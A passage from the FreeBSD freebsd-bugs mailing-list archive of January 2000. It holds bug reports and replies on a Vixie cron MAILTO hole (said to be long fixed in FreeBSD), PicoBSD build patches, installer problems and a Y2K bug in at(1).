ports/15812 jfitz p5-Mail-Tools port update o [1999/12/31] ports/15813 eivind p5-IO-stringy port update o [1999/12/31] ports/15814 eivind p5-MIME-Tools port update o [1999/12/31] ports/15815 ports p5-Apache-ASP new port o [2000/01/01] ports/15819 cwt fix PLIST of misc/amanda24 o [2000/01/01] docs/15821 doc Wrong device names in manpages for lpt(4) o [2000/01/01] kern/15827 Power-Off causes Trap 9 in kernel o [2000/01/01] bin/15830 PATCH: rdump over ssh o [2000/01/01] bin/15832 the w commands can show a bad result on t o [2000/01/01] ports/15833 ports NEW PORT: guile-gtk-0.17 o [2000/01/01] misc/15834 named 8.2.2-P5 "No default TTL set using o [2000/01/02] ports/15836 ports textproc/rand update 1.5 -> 1.6 o [2000/01/02] kern/15838 Conversion tables in msdosfs_conv.c are b o [2000/01/02] ports/15840 ports New port: x11-fonts/ucs-fixed o [2000/01/02] i386/15841 [patch] Assembler syntax fixes for the bo o [2000/01/02] ports/15842 ports news/cnews more robust patches o [2000/01/02] ports/15844 wosch www/checkbot fix and update to 1.58 o [2000/01/02] ports/15849 ports NEW PORT: xwrits o [2000/01/02] ports/15851 ports new port: deskutils/p5-hp200lx-db o [2000/01/02] bin/15852 predefined \*(DT string has Y2K bug o [2000/01/02] bin/15853 tar --newer-mtime flag has Y2K bug o [2000/01/02] ports/15854 ports dclock -date "%y" (or %Y) do not correctl o [2000/01/03] bin/15855 comsat(8) failes to open system mail box o [2000/01/03] i386/15856 Bug in /stand/sysinstall on FreeBSD-3.4-R o [2000/01/03] ports/15857 dirk new standalone port of php3 for ports/www o [2000/01/03] misc/15858 mmaping /dev/dsp does not return a valid o [2000/01/03] ports/15859 ports Fix a typo in BUILD_DEPENDS in www/p5-Par o [2000/01/03] kern/15860 patch to make default kern.maxfilesperpro o [2000/01/03] bin/15861 ftpd did not use sendfile(2) when sending o [2000/01/03] ports/15862 ports New port: www/p5-HTML-Tree o [2000/01/03] ports/15863 ports New port: www/p5-HTML-Summary 1243 problems total. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 11:12: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7]) by hub.freebsd.org (Postfix) with ESMTP id EC738152F8 for ; Mon, 3 Jan 2000 11:11:55 -0800 (PST) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id E31DE1CC6; Tue, 4 Jan 2000 03:11:38 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: Paul A Vixie Cc: Ole Pahl , bugtraq@securityfocus.com, submission@rootshell.com, cert@cert.org, cert@cert.dfn.de, freebsd-bugs@freebsd.org, info@suse.de, isc-info@isc.org Subject: Re: Bug in recent versions of Vixie cron In-Reply-To: Message from Paul A Vixie of "Sun, 02 Jan 2000 12:55:59 PST." <200001022055.MAA05785@redpaul.mibh.net> Date: Tue, 04 Jan 2000 03:11:38 +0800 From: Peter Wemm Message-Id: <20000103191138.E31DE1CC6@overcee.netplex.com.au> Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Paul A Vixie wrote: > if your cron source (do_command.c) does not include the function safe_p() > then it is vulnerable to this. this hole was fixed in 1996. take a look > at isc cron 4.0 beta1, at ftp://ftp.isc.org/isc/cron_4.0_b1.shar. FreeBSD doesn't use safe_p() - it doesn't allow users to pass arguments to sendmail at all. The recipient address from MAILTO is passed in the 'To: ' line in the header and 'sendmail -t' is called. This is a quite robust solution since sendmail already performs it's own checking. The "fixes" to the Linux versions of vixie cron were quite overkill. We fixed this over a few days in April 1995, I see the 4.0-b1 release now uses -t as well as some other conservative checks. Our change log: ---------------------------- revision 1.4 date: 1995/04/14 21:54:18; author: ache; state: Exp; lines: +2 -31 Fix MAILTO hole by passing -t to sendmail Submitted by: Mike Pritchard ---------------------------- revision 1.3 date: 1995/04/13 20:58:13; author: ache; state: Exp; lines: +29 -4 Really fix MAILTO hole by parsing spaces. Remove local bitstring copy ---------------------------- revision 1.2 date: 1995/04/12 18:57:37; author: ache; state: Exp; lines: +7 -3 Close MAILTO security hole ---------------------------- FreeBSD has not been vulnerable since 2.0-RELEASE. 2.0.5 and later were based on rev 1.5 and not vulnerable. This has been reported many times. Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 11:20:41 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7]) by hub.freebsd.org (Postfix) with ESMTP id 07576150FB for ; Mon, 3 Jan 2000 11:20:37 -0800 (PST) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 165A91CA0; Tue, 4 Jan 2000 03:20:29 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: Ole Pahl Cc: Przemyslaw Frasunek , freebsd-bugs@freebsd.org Subject: Re: Bug in recent versions of Vixie cron In-Reply-To: Message from Ole Pahl of "Sun, 02 Jan 2000 23:13:55 +0100." Date: Tue, 04 Jan 2000 03:20:29 +0800 From: Peter Wemm Message-Id: <20000103192029.165A91CA0@overcee.netplex.com.au> Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ole Pahl wrote: > On Sun, 2 Jan 2000, Przemyslaw Frasunek wrote: > > > > This problem seems to be present in current versions of Vixie cron, e.g. > > > those used in operating systems like FreeBSD 3.4-RC as well as certain > > > Linux distributions such as SuSE Linux 6.2. > > > FreeBSD is and was NOT vulnerable to this problem. > > The person who tried to reproduce this problem on his FreeBSD machine just > confirmed that he could not pass arbitrary commands to Sendmail using the > MAILTO environment variable. However, Sendmail is still executed as root - > that condition can't be exploited due to proper argument checking, though. Have you actually *looked* at our version of the code? There is no "argument checking" as there are no user-supplied arguments being passed to sendmail. (Hint: take a look at these two: http://www.FreeBSD.org/cgi/cvsweb.cgi/src/usr.sbin/cron/cron/do_command.c http://www.FreeBSD.org/cgi/cvsweb.cgi/src/usr.sbin/cron/cron/config.h and the changes in April 1995) > For further replies, please make sure to remove BugTraq from the CC list in > order to keep Aleph1 from being bothered - I think any further discussion > on this issue is not relevant for BugTraq. It would be nice if people would actually *test* their claims before hitting 'send' on their mail and crying wolf yet again. Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 11:50: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 3035B14D38 for ; Mon, 3 Jan 2000 11:50:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id LAA29896; Mon, 3 Jan 2000 11:50:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from pc015.fisica.ufc.br (pc015.fisica.ufc.br [200.17.35.40]) by hub.freebsd.org (Postfix) with ESMTP id DE8F814EA2 for ; Mon, 3 Jan 2000 11:43:54 -0800 (PST) (envelope-from renan@pc015.fisica.ufc.br) Received: (from root@localhost) by pc015.fisica.ufc.br (8.9.3/8.9.1) id RAA04073; Mon, 3 Jan 2000 17:49:01 -0300 (EST) (envelope-from renan) Message-Id: <200001032049.RAA04073@pc015.fisica.ufc.br> Date: Mon, 3 Jan 2000 17:49:01 -0300 (EST) From: Ricardo Renan Reply-To: renan@pc015.fisica.ufc.br To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: i386/15866: xmgr, xemacs-21 and zsh-3.1.6 not works. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15866 >Category: i386 >Synopsis: xmgr, xemacs-21 and zsh-3.1.6 not works. >Confidential: no >Severity: critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 11:50:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Ricardo Renan >Release: FreeBSD 3.4-RELEASE i386 >Organization: Universidade Federal do Ceara >Environment: >Description: xmgr print out the message /usr/libexec/ld-elf.so.1: Shared object "libmfhdf.so.2" not found zsh print out the message: zsh: failed to load module: zle xemacs print out the message: bus error(core dump) >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 13:12:29 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from florence.pavilion.net (florence.pavilion.net [212.74.0.25]) by hub.freebsd.org (Postfix) with ESMTP id 01F9A14D43 for ; Mon, 3 Jan 2000 13:12:26 -0800 (PST) (envelope-from joe@florence.pavilion.net) Received: (from joe@localhost) by florence.pavilion.net (8.9.3/8.8.8) id VAA99102; Mon, 3 Jan 2000 21:12:18 GMT (envelope-from joe) Date: Mon, 3 Jan 2000 21:12:18 +0000 From: Josef Karthauser To: Yoshinobu Inoue Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15742: Laptop -current panics in in6_ifattach after suspend Message-ID: <20000103211218.D97460@florence.pavilion.net> References: <20000102124814.A24810@florence.pavilion.net> <20000103002949O.shin@nd.net.fujitsu.co.jp> <20000102201557.C60369@florence.pavilion.net> <20000104034655H.shin@nd.net.fujitsu.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20000104034655H.shin@nd.net.fujitsu.co.jp> X-NCC-RegID: uk.pavilion Organisation: Pavilion Internet plc, Lees House, 21-23 Dyke Road, Brighton, England Phone: +44-845-333-5000 Fax: +44-845-333-5001 Mobile: +44-403-596893 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Jan 04, 2000 at 03:46:55AM +0900, Yoshinobu Inoue wrote: > > I used to put my ep card into my pc's 2nd pcmcia port. > And usually there was no failure. > After I began to use it on the 1st pcmcia port, I also get several > ep0 attach failure from pccardd, sometime. > And then again I began to put it into my pc's 2nd pcmcia port, > and attach failures seem to stopped. > I've also noticed this in the past. Generally I don't plug and unplug + and because pccard seems to register my card properly now-adays (thanks Warner) I've noted this behavour - I believe that Warner only has a single pccard slot on his machine so it wouldn't surprise me that there are still some gremlins around about. Joe -- Josef Karthauser FreeBSD: Take the red pill and we'll show you just how Technical Manager deep the rabbit hole goes. (http://www.uk.freebsd.org) Pavilion Internet plc. [joe@pavilion.net, joe@freebsd.org, joe@tao.org.uk] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 15:30: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 8211D150F9 for ; Mon, 3 Jan 2000 15:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id PAA54335; Mon, 3 Jan 2000 15:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id B27EB14BC9; Mon, 3 Jan 2000 15:27:46 -0800 (PST) Message-Id: <20000103232746.B27EB14BC9@hub.freebsd.org> Date: Mon, 3 Jan 2000 15:27:46 -0800 (PST) From: timlee@netcom.com To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: misc/15869: 3.4-STABLE-20000103 install fails to disklabel Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15869 >Category: misc >Synopsis: 3.4-STABLE-20000103 install fails to disklabel >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 15:30:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Timothy J. Lee >Release: 3.4-STABLE-20000103 >Organization: >Environment: Computer with 13.6GB ATA hard disk, AMD K6-2 processor, 64MB memory, Asus P5A motherboard. >Description: 13.6GB ATA hard disk is divided into fdisk partitions of (approximately) 4GB, 2GB, and 6GB. Trying to install FreeBSD on the 6GB partition. When in the disklabel phase, trying to make a 200MB / filesystem at the beginning of the 6GB partition fails (says that it is too large). Auto defaults for the disklabel phase also fails. (The 4GB and 2GB partitions have Linux and NetBSD on them.) >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 17:14:19 2000 Delivered-To: freebsd-bugs@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 718) id 40AF61529C; Mon, 3 Jan 2000 17:14:18 -0800 (PST) To: rrs@lmi.net, jasone@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG From: jasone@FreeBSD.ORG Subject: Re: misc/8202 Message-Id: <20000104011418.40AF61529C@hub.freebsd.org> Date: Mon, 3 Jan 2000 17:14:18 -0800 (PST) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: semop() is not wrapped for thread safety in libc_r State-Changed-From-To: open->closed State-Changed-By: jasone State-Changed-When: Mon Jan 3 17:09:39 PST 2000 State-Changed-Why: semop() and semctl() do in fact work with libc_r, but they do potentially block the entire process. This is a performance issue to be sure, but the only way to "fix" the problem is to poll. Since the combined use of SYSV semaphores and pthreads is of questionable value, and there is no elegant "fix", and and since this isn't exactly a bug, I'm closing this PR. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 17:20: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id ACF941511D for ; Mon, 3 Jan 2000 17:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id RAA64173; Mon, 3 Jan 2000 17:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 0786714BCD for ; Mon, 3 Jan 2000 17:12:28 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40325>; Tue, 4 Jan 2000 12:05:11 +1100 Message-Id: <00Jan4.120511est.40325@border.alcanet.com.au> Date: Tue, 4 Jan 2000 12:05:10 +1100 From: peter.jeremy@ALCATEL.COM.AU To: freefall-gnats@gsmx07.alcatel.com.au X-Send-Pr-Version: 3.2 Subject: kern/15870: PicoBSD Kernel link fails Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15870 >Category: kern >Synopsis: PicoBSD Kernel link fails >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 17:20:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Peter Jeremy >Release: FreeBSD 4.0-CURRENT i386 >Organization: Alcatel Australia Limited >Environment: Host is pre-signal-change -current building PicoBSD from the latest -current. >Description: When building PicoBSD, the build script defines a global variable $SIZE to hold the MFS size. The same variable is used by the kernel Makefile to refer to the size(1) command. This causes the kernel link step to fail as follows: linking kernel 2400: not found *** Error code 127 The fix is to unset SIZE before the kernel build. In addition, the command `make depend all' is not safe because the updated dependency list will not be re-read between the `depend' and `all' steps. This should be run as two separate makes. >How-To-Repeat: # ed /usr/src/release/picobsd/dial/PICOBSD g/wd/s/^/# /wcd0/s/^/# w q # cd /usr/src/release/picobsd/build # sh build.sh Select "just build it" >Fix: Index: src/release/picobsd/build/Makefile.conf =================================================================== RCS file: /home/CVSROOT/src/release/picobsd/build/Makefile.conf,v retrieving revision 1.4 diff -u -r1.4 Makefile.conf --- Makefile.conf 1999/11/30 21:41:11 1.4 +++ Makefile.conf 1999/12/22 20:25:24 @@ -17,5 +17,6 @@ (cd ${CONF}; \ config ${CONFFILE}; \ cd ${COMPILE}; \ - make depend all) + unset SIZE; \ + make depend && make all) >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 18:26:37 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 2702015368; Mon, 3 Jan 2000 18:26:36 -0800 (PST) (envelope-from wes@FreeBSD.org) Received: (from wes@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA69344; Mon, 3 Jan 2000 18:26:36 -0800 (PST) (envelope-from wes@FreeBSD.org) Date: Mon, 3 Jan 2000 18:26:36 -0800 (PST) From: Message-Id: <200001040226.SAA69344@freefall.freebsd.org> To: wes@FreeBSD.org, freebsd-bugs@FreeBSD.org, wes@FreeBSD.org Subject: Re: bin/15285: unhelpful error message from brandelf Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: unhelpful error message from brandelf Responsible-Changed-From-To: freebsd-bugs->wes Responsible-Changed-By: wes Responsible-Changed-When: Mon Jan 3 18:26:03 PST 2000 Responsible-Changed-Why: I'm fixing it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 18:30: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 47DD314F9C for ; Mon, 3 Jan 2000 18:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA69978; Mon, 3 Jan 2000 18:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 053FE15361 for ; Mon, 3 Jan 2000 18:24:06 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40323>; Tue, 4 Jan 2000 13:16:54 +1100 Message-Id: <00Jan4.131654est.40323@border.alcanet.com.au> Date: Tue, 4 Jan 2000 13:16:54 +1100 From: peter.jeremy@alcatel.com.au To: freefall-gnats@gsmx07.alcatel.com.au X-Send-Pr-Version: 3.2 Subject: misc/15871: CVS directories copied to PicoBSD filesystems Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15871 >Category: misc >Synopsis: CVS directories copied to PicoBSD filesystems >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 18:30:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Peter Jeremy >Release: FreeBSD 4.0-CURRENT i386 >Organization: >Environment: Today's -stable and -current >Description: During the traditional ("cd build;sh build") PicoBSD build, the contents of both the common and build-specific floppy.tree directories are copied onto the PicoBSD MFS. If the build tree was checked out from CVS, these directories will include CVS directories, which will be copied as well. >How-To-Repeat: Build and boot PicoBSD. Run `ls' on the /, /etc and /etc/ppp directory - they will all contain unnecessary CVS subdirectories. >Fix: Either add `CVS' to the exclusion list in each floppy.tree.exclude file, or generically exclude it in the build script: Index: release/picobsd/build/stage1 =================================================================== RCS file: /home/CVSROOT/src/release/picobsd/build/stage1,v retrieving revision 1.7.2.6 diff -u -r1.7.2.6 stage1 --- stage1 1999/10/17 23:05:12 1.7.2.6 +++ stage1 1999/12/20 03:15:56 @@ -187,11 +187,11 @@ else excl="" fi -(cd ${BUILDDIR}/../floppy.tree ; tar -cf - ${excl} . ) | (cd /mnt ; tar xvf - ) +(cd ${BUILDDIR}/../floppy.tree ; tar -cf - ${excl} --exclude CVS . ) | (cd /mnt ; tar xvf - ) if [ -d ${BUILDDIR}/../${TYPE}/floppy.tree ] ; then echo "-> update with private files:" - (cd ${BUILDDIR}/../${TYPE}/floppy.tree ; tar cf - . ) | (cd /mnt ; tar xvf - ) + (cd ${BUILDDIR}/../${TYPE}/floppy.tree ; tar -cf - --exclude CVS . ) | (cd /mnt ; tar xvf - ) fi files="hosts motd" >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 19: 0: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id D9D42150C3 for ; Mon, 3 Jan 2000 19:00:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id TAA72462; Mon, 3 Jan 2000 19:00:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id DD69314FBA for ; Mon, 3 Jan 2000 18:50:02 -0800 (PST) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id VAA11470; Mon, 3 Jan 2000 21:54:28 -0500 (EST) (envelope-from cjc) Message-Id: <200001040254.VAA11470@cc942873-a.ewndsr1.nj.home.com> Date: Mon, 3 Jan 2000 21:54:28 -0500 (EST) From: "Crist J. Clark" Reply-To: cjc@cc942873-a.ewndsr1.nj.home.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/15872: Y2k bug in at(1) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15872 >Category: bin >Synopsis: Y2k bug in at(1) >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 19:00:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Crist J. Clark >Release: FreeBSD 3.4-STABLE i386 >Organization: >Environment: Present in all FreeBSD versions checked (2.x.x and 3.x). Also seen in other BSDs. >Description: There is a Y2k bug in at(1). The following portion of code can cause valid time specifications to return 'garbled time' errors, /* * assign_date() assigns a date, wrapping to next year if needed */ static void assign_date(struct tm *tm, long mday, long mon, long year) { if (year > 99) { if (year > 1899) year -= 1900; else panic("garbled time"); } ... When this function is passed the current year in tm_year format, 100, it will complain it is a garbled time. However, it is a legal value. >How-To-Repeat: Try to queue an atjob in the following manner, % at 10:30am wed at: garbled time However, that is a legal command line. >Fix: The parsetime.c code, which is excerpted above, is a _very_ complex piece of work. I hesitate to write a patch to fix this small problem since it might create greater ones. I leave it to someone with more familiarity with the code. (However, I am not sure why the 'year > 99' check is needed at all.) In the mean time, the previous command line can will work if you phrase it, % at 10:30 + 2 days You may need to try other convoluted constructions to work around other formats that might trigger the bug. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 20:10: 9 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 7072E14D97 for ; Mon, 3 Jan 2000 20:10:07 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id UAA78610; Mon, 3 Jan 2000 20:10:07 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id F3E6915382 for ; Mon, 3 Jan 2000 20:07:07 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40322>; Tue, 4 Jan 2000 14:59:57 +1100 Message-Id: <00Jan4.145957est.40322@border.alcanet.com.au> Date: Tue, 4 Jan 2000 14:59:56 +1100 From: Peter Jeremy Reply-To: peter.jeremy@alcatel.com.au To: freefall-gnats@gsmx07.alcatel.com.au X-Send-Pr-Version: 3.2 Subject: misc/15874: PicoBSD can only update files from within /etc Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15874 >Category: misc >Synopsis: PicoBSD can only update files from within /etc >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 20:10:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Peter Jeremy >Release: FreeBSD 4.0-CURRENT i386 >Organization: >Environment: Found in -stable, but -current should exhibit the same behaviour. >Description: During PicoBSD boot, files in the /etc directory (and sub- directories) of the boot floppy are copied into the MFS. In order to allow port and user configuration files (specifically ssh configuration files and keys for my purposes), it would be useful to also copy files from /root and /usr as well. Also, the size of the startup script (mfs.rc) should not be an issue if it is deleted before the replacement is copied over it (although I haven't confirmed this). >How-To-Repeat: Add files other than in /etc on the floppy disk - they are not copied. >Fix: The following is the change I made to my customised /usr/src/release/picobsd/net/floppy.tree/etc/mfs.rc diff -ur net/floppy.tree/etc/mfs.rc custom/floppy.tree/etc/mfs.rc --- net/floppy.tree/etc/mfs.rc Mon Aug 30 01:53:11 1999 +++ custom/floppy.tree/etc/mfs.rc Thu Sep 16 16:14:51 1999 @@ -23,8 +23,10 @@ echo "" echo "Reading /etc from startup floppy..." mount -o rdonly /dev/fd0a /start_floppy -cd /start_floppy/etc -cp -Rp . /etc/ +rm /etc/rc +for i in etc root usr ; do + cd /start_floppy/$i 2>/dev/null && cp -Rp . /$i/ +done cd /etc pwd_mkdb -p ./master.passwd umount /start_floppy >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 20:20: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 9CA2D14DB4 for ; Mon, 3 Jan 2000 20:20:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id UAA79279; Mon, 3 Jan 2000 20:20:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 22F5A14DB4 for ; Mon, 3 Jan 2000 20:12:29 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40333>; Tue, 4 Jan 2000 15:05:20 +1100 Message-Id: <00Jan4.150520est.40333@border.alcanet.com.au> Date: Tue, 4 Jan 2000 15:05:19 +1100 From: peter.jeremy@ALCATEL.COM.AU To: freefall-gnats@gsmx07.alcatel.com.au X-Send-Pr-Version: 3.2 Subject: misc/15875: Incorrect permissions on PicoBSD /tmp directory Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15875 >Category: misc >Synopsis: Incorrect permissions on PicoBSD /tmp directory >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 20:20:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Peter Jeremy >Release: FreeBSD 4.0-CURRENT i386 >Organization: Alcatel Australia Limited >Environment: Found in -stable, but also present in -current >Description: PicoBSD creates the /tmp directory with default permissions. It should be created with permissions 01777. >How-To-Repeat: ls -l /tmp >Fix: The following is needed on each mfs.mtree file: diff -ur net/mfs.mtree custom/mfs.mtree --- net/mfs.mtree Mon Aug 30 01:53:06 1999 +++ custom/mfs.mtree Fri Sep 17 08:34:33 1999 @@ -29,7 +29,7 @@ .. tftpboot .. - tmp + tmp mode=01777 .. usr local >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 20:30: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id D617714DEE for ; Mon, 3 Jan 2000 20:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id UAA80288; Mon, 3 Jan 